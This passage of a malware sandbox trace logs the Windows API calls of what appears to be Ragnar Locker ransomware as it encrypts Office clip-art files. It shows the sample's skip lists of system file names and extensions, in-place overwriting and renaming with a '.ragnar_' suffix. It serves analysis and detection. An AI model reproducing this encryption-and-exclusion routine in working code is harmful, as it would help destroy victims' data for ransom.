(lpString1="FD00382_.WMF", lpString2="ntuser.dat") returned -1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="ntuser.ini") returned -1 [0082.153] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="thumbs.db") returned -1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.153] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0082.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.154] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8424) returned 1 [0082.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.154] GetProcessHeap () returned 0x580000 [0082.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.154] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.155] VirtualAlloc (lpAddress=0x0, dwSize=0x20e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.155] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20e8, lpOverlapped=0x0) returned 1 [0082.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.156] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.156] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20e8, lpOverlapped=0x0) returned 1 [0082.157] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.157] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.157] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.157] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.157] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.157] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.157] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.157] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.157] GetProcessHeap () returned 0x580000 [0082.157] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.157] CloseHandle (hObject=0xf4) returned 1 [0082.157] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" [0082.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.ragnar_FD7BD9FC" [0082.158] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.158] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0082.158] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.158] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00397_.WMF" | out: lpString1="FD00397_.WMF") returned="FD00397_.WMF" [0082.158] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned=".WMF" [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="autorun.inf") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="boot.ini") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="bootfont.bin") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="bootsect.bak") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="bootmgr") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="bootmgr.efi") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="desktop.ini") returned 1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="iconcache.db") returned -1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="ntldr") returned -1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="ntuser.dat") returned -1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="ntuser.ini") returned -1 [0082.158] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="thumbs.db") returned -1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.159] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0082.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.159] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10816) returned 1 [0082.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.159] GetProcessHeap () returned 0x580000 [0082.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.159] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2a40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.161] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a40, lpOverlapped=0x0) returned 1 [0082.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.162] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a40, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.162] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a40, lpOverlapped=0x0) returned 1 [0082.162] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.162] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.162] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.162] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.163] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.163] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.163] GetProcessHeap () returned 0x580000 [0082.163] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.163] CloseHandle (hObject=0xf4) returned 1 [0082.163] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" [0082.163] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.ragnar_FD7BD9FC" [0082.163] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.163] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0082.163] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.164] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00403_.WMF" | out: lpString1="FD00403_.WMF") returned="FD00403_.WMF" [0082.164] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned=".WMF" [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="autorun.inf") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="boot.ini") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="bootfont.bin") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="bootsect.bak") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="bootmgr") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="bootmgr.efi") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="desktop.ini") returned 1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="iconcache.db") returned -1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="ntldr") returned -1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="ntuser.dat") returned -1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="ntuser.ini") returned -1 [0082.164] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="thumbs.db") returned -1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.164] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0082.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.165] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7878) returned 1 [0082.165] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ebd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.165] GetProcessHeap () returned 0x580000 [0082.165] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.165] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.166] VirtualAlloc (lpAddress=0x0, dwSize=0x1ec6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.166] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ec6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ec6, lpOverlapped=0x0) returned 1 [0082.167] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.167] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ec6, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.167] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ec6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ec6, lpOverlapped=0x0) returned 1 [0082.167] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ec6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.167] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ec6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.168] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.168] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.168] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.168] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.168] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.168] GetProcessHeap () returned 0x580000 [0082.168] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.168] CloseHandle (hObject=0xf4) returned 1 [0082.168] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" [0082.168] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.ragnar_FD7BD9FC" [0082.168] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0082.169] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.169] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00414_.WMF" | out: lpString1="FD00414_.WMF") returned="FD00414_.WMF" [0082.169] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned=".WMF" [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="autorun.inf") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="boot.ini") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="bootfont.bin") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="bootsect.bak") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="bootmgr") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="bootmgr.efi") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="desktop.ini") returned 1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="iconcache.db") returned -1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="ntldr") returned -1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="ntuser.dat") returned -1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="ntuser.ini") returned -1 [0082.169] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="thumbs.db") returned -1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.169] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.170] 